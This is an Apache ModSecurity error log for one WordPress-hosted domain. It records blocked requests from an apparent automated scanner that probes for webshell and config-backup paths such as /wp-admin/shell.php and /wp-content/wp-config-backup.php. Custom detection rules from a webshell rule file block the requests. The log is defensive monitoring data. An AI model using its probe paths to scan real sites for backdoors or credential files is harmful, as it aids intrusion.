[Sun May 10 08:21:14.560472 2026] [:error] [pid 46331:tid 46365] [client 85.203.23.169:35321] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/packed.php"] [unique_id "af_PegP02hpYETwsZpgSRQAAAIM"]
[Sun May 10 08:21:14.770988 2026] [:error] [pid 52634:tid 52659] [client 85.203.23.196:48501] [client 85.203.23.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/network/cache/"] [unique_id "af_Petwp8XoWCwFb54CRyAAAANU"]
[Sun May 10 08:21:14.965374 2026] [:error] [pid 52634:tid 52660] [client 85.203.23.214:63419] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/file.php"] [unique_id "af_Petwp8XoWCwFb54CRyQAAANY"]
[Sun May 10 08:21:15.253479 2026] [:error] [pid 46417:tid 46426] [client 85.203.23.204:30949] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin-header.php"] [unique_id "af_Pe2Inm7mhwgbe48ZncAAAAQc"]
[Sun May 10 08:21:15.454038 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.191:50653] [client 85.203.23.191] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "af_Pe9wp8XoWCwFb54CRywAAAMc"]
[Sun May 10 08:21:15.669176 2026] [:error] [pid 52634:tid 52646] [client 85.203.23.180:55091] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/"] [unique_id "af_Pe9wp8XoWCwFb54CRzQAAAMg"]
[Sun May 10 08:21:17.471435 2026] [:error] [pid 52634:tid 52638] [client 85.203.23.209:49371] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "af_Pfdwp8XoWCwFb54CR0gAAAMA"]
[Sun May 10 08:21:17.756994 2026] [:error] [pid 46417:tid 46438] [client 85.203.23.181:45821] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/mah/function.php"] [unique_id "af_PfWInm7mhwgbe48ZncQAAARM"]
[Sun May 10 08:21:17.956106 2026] [:error] [pid 52634:tid 52639] [client 85.203.23.172:36337] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "af_Pfdwp8XoWCwFb54CR1AAAAME"]
[Sun May 10 08:21:18.153641 2026] [:error] [pid 52634:tid 52660] [client 85.203.23.177:64895] [client 85.203.23.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/config.php"] [unique_id "af_Pftwp8XoWCwFb54CR1QAAANY"]
[Sun May 10 08:21:18.355919 2026] [:error] [pid 46330:tid 46391] [client 85.203.23.176:50651] [client 85.203.23.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/chosen.php"] [unique_id "af_Pfoztrhd3evDQvs82GAAAAE0"]
[Sun May 10 08:21:18.553347 2026] [:error] [pid 46417:tid 46431] [client 85.203.23.201:47607] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "af_PfmInm7mhwgbe48ZncgAAAQw"]
[Sun May 10 08:21:18.850744 2026] [:error] [pid 46417:tid 46435] [client 85.203.23.205:58791] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/images/"] [unique_id "af_PfmInm7mhwgbe48ZndAAAARA"]
[Sun May 10 08:21:19.199389 2026] [:error] [pid 46417:tid 46421] [client 85.203.23.184:64073] [client 85.203.23.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/vendor/about.php"] [unique_id "af_Pf2Inm7mhwgbe48ZndQAAAQI"]
[Sun May 10 08:21:19.388462 2026] [:error] [pid 46417:tid 46420] [client 85.203.23.203:42777] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "af_Pf2Inm7mhwgbe48ZndgAAAQE"]
[Sun May 10 08:21:19.570386 2026] [:error] [pid 46330:tid 46378] [client 85.203.23.190:32835] [client 85.203.23.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/maint/"] [unique_id "af_Pf4ztrhd3evDQvs82GQAAAEY"]
[Sun May 10 08:21:19.757609 2026] [:error] [pid 52634:tid 52656] [client 85.203.23.187:46201] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/"] [unique_id "af_Pf9wp8XoWCwFb54CR2gAAANI"]
[Sun May 10 08:21:19.984919 2026] [:error] [pid 46417:tid 46428] [client 85.203.23.190:59481] [client 85.203.23.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/customize-widgets/"] [unique_id "af_Pf2Inm7mhwgbe48ZneQAAAQk"]
[Sun May 10 08:21:20.167609 2026] [:error] [pid 46417:tid 46432] [client 85.203.23.215:27223] [client 85.203.23.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/separator/"] [unique_id "af_PgGInm7mhwgbe48ZnegAAAQ0"]
[Sun May 10 08:21:20.370409 2026] [:error] [pid 46417:tid 46433] [client 85.203.23.214:50685] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/imgareaselect/"] [unique_id "af_PgGInm7mhwgbe48ZnewAAAQ4"]
[Sun May 10 08:21:20.756056 2026] [:error] [pid 46329:tid 46346] [client 85.203.23.210:21247] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "af_PgOFo7Z2I88d0gPJPmAAAAA0"]
[Sun May 10 08:21:21.286825 2026] [:error] [pid 52634:tid 52648] [client 85.203.23.186:33279] [client 85.203.23.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content.php"] [unique_id "af_Pgdwp8XoWCwFb54CR3wAAAMo"]
[Sun May 10 08:21:21.587730 2026] [:error] [pid 52634:tid 52654] [client 85.203.23.210:32675] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/"] [unique_id "af_Pgdwp8XoWCwFb54CR4gAAANA"]
[Sun May 10 08:21:21.770688 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.191:39517] [client 85.203.23.191] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/"] [unique_id "af_Pgdwp8XoWCwFb54CR5AAAAMM"]
[Sun May 10 08:21:21.966760 2026] [:error] [pid 52634:tid 52659] [client 85.203.23.201:36769] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/shell.php"] [unique_id "af_Pgdwp8XoWCwFb54CR5QAAANU"]
[Sun May 10 08:21:22.166311 2026] [:error] [pid 52634:tid 52656] [client 85.203.23.214:47949] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/image/"] [unique_id "af_Pgtwp8XoWCwFb54CR5gAAANI"]
[Sun May 10 08:21:22.372732 2026] [:error] [pid 52634:tid 52657] [client 85.203.23.185:42167] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/files.php"] [unique_id "af_Pgtwp8XoWCwFb54CR5wAAANM"]
[Sun May 10 08:21:22.600527 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.209:21269] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/video/"] [unique_id "af_Pgtwp8XoWCwFb54CR6QAAAMk"]
[Sun May 10 08:21:22.786800 2026] [:error] [pid 52634:tid 52662] [client 85.203.23.210:43571] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/"] [unique_id "af_Pgtwp8XoWCwFb54CR6gAAANg"]
[Sun May 10 08:21:22.968634 2026] [:error] [pid 52634:tid 52650] [client 85.203.23.225:23421] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "af_Pgtwp8XoWCwFb54CR7QAAAMw"]
[Sun May 10 08:21:23.174276 2026] [:error] [pid 46331:tid 46390] [client 85.203.23.183:40673] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-activate.php"] [unique_id "af_PgwP02hpYETwsZpgSSwAAAI8"]
[Sun May 10 08:21:28.372569 2026] [:error] [pid 46329:tid 46347] [client 85.203.23.225:29487] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/backup.php"] [unique_id "af_PiOFo7Z2I88d0gPJPmQAAAA4"]
[Sun May 10 08:21:28.573364 2026] [:error] [pid 52634:tid 52658] [client 85.203.23.224:46845] [client 85.203.23.224] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "af_PiNwp8XoWCwFb54CR_QAAANQ"]
[Sun May 10 08:21:28.757269 2026] [:error] [pid 46329:tid 46345] [client 85.203.23.192:49747] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/login.php"] [unique_id "af_PiOFo7Z2I88d0gPJPmgAAAAw"]
[Sun May 10 08:21:28.965925 2026] [:error] [pid 46330:tid 46398] [client 85.203.23.187:43797] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/assets/"] [unique_id "af_PiIztrhd3evDQvs82HwAAAFA"]
[Sun May 10 08:21:29.173021 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.212:50323] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ab.php"] [unique_id "af_Pidwp8XoWCwFb54CR_wAAAMk"]
[Sun May 10 08:21:29.372629 2026] [:error] [pid 52634:tid 52655] [client 85.203.23.222:57213] [client 85.203.23.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/login.php"] [unique_id "af_Pidwp8XoWCwFb54CSAgAAANE"]
[Sun May 10 08:21:29.561522 2026] [:error] [pid 46329:tid 46351] [client 85.203.23.178:32195] [client 85.203.23.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Auth/"] [unique_id "af_PieFo7Z2I88d0gPJPnQAAABI"]
[Sun May 10 08:21:29.792151 2026] [:error] [pid 46330:tid 46381] [client 85.203.23.168:48763] [client 85.203.23.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/navigation/"] [unique_id "af_PiYztrhd3evDQvs82IAAAAEg"]
[Sun May 10 08:21:29.975136 2026] [:error] [pid 52634:tid 52646] [client 85.203.23.206:50859] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/panel.php"] [unique_id "af_Pidwp8XoWCwFb54CSBgAAAMg"]
[Sun May 10 08:21:30.175471 2026] [:error] [pid 46417:tid 46426] [client 85.203.23.185:44127] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/commands/"] [unique_id "af_PimInm7mhwgbe48ZnhwAAAQc"]
[Sun May 10 08:21:30.365499 2026] [:error] [pid 52634:tid 52644] [client 85.203.23.169:59887] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "af_Pitwp8XoWCwFb54CSCAAAAMY"]
[Sun May 10 08:21:30.591023 2026] [:error] [pid 52634:tid 52657] [client 85.203.23.210:33905] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "af_Pitwp8XoWCwFb54CSCQAAANM"]
[Sun May 10 08:21:30.847555 2026] [:error] [pid 52634:tid 52638] [client 85.203.23.205:25575] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/about.php"] [unique_id "af_Pitwp8XoWCwFb54CSCgAAAMA"]
[Sun May 10 08:21:31.066875 2026] [:error] [pid 52634:tid 52640] [client 85.203.23.181:62145] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/"] [unique_id "af_Pi9wp8XoWCwFb54CSCwAAAMI"]
[Sun May 10 08:21:31.258269 2026] [:error] [pid 46417:tid 46425] [client 85.203.23.225:53823] [client 85.203.23.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/"] [unique_id "af_Pi2Inm7mhwgbe48ZniQAAAQY"]
[Sun May 10 08:21:31.480103 2026] [:error] [pid 52634:tid 52662] [client 85.203.23.217:58463] [client 85.203.23.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentytwo/assets/fonts/"] [unique_id "af_Pi9wp8XoWCwFb54CSDQAAANg"]
[Sun May 10 08:21:31.695105 2026] [:error] [pid 52634:tid 52646] [client 85.203.23.178:41843] [client 85.203.23.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/chosen.php"] [unique_id "af_Pi9wp8XoWCwFb54CSDwAAAMg"]
[Sun May 10 08:21:31.887400 2026] [:error] [pid 52634:tid 52648] [client 85.203.23.172:64229] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-signin.php"] [unique_id "af_Pi9wp8XoWCwFb54CSEAAAAMo"]
[Sun May 10 08:21:32.085594 2026] [:error] [pid 52634:tid 52656] [client 85.203.23.215:25781] [client 85.203.23.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentynineteen/sass/site/"] [unique_id "af_PjNwp8XoWCwFb54CSEQAAANI"]
[Sun May 10 08:21:32.272470 2026] [:error] [pid 52634:tid 52642] [client 85.203.23.187:59685] [client 85.203.23.187] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/wp-config-backup.php"] [unique_id "af_PjNwp8XoWCwFb54CSEwAAAMQ"]
[Sun May 10 08:21:32.467163 2026] [:error] [pid 52634:tid 52651] [client 85.203.23.180:42997] [client 85.203.23.180] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/coffee/"] [unique_id "af_PjNwp8XoWCwFb54CSFAAAAM0"]
[Sun May 10 08:21:32.671721 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.185:52011] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "af_PjNwp8XoWCwFb54CSFQAAAMc"]
[Sun May 10 08:21:32.875495 2026] [:error] [pid 52634:tid 52662] [client 85.203.23.190:28207] [client 85.203.23.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/widgets/"] [unique_id "af_PjNwp8XoWCwFb54CSGAAAANg"]
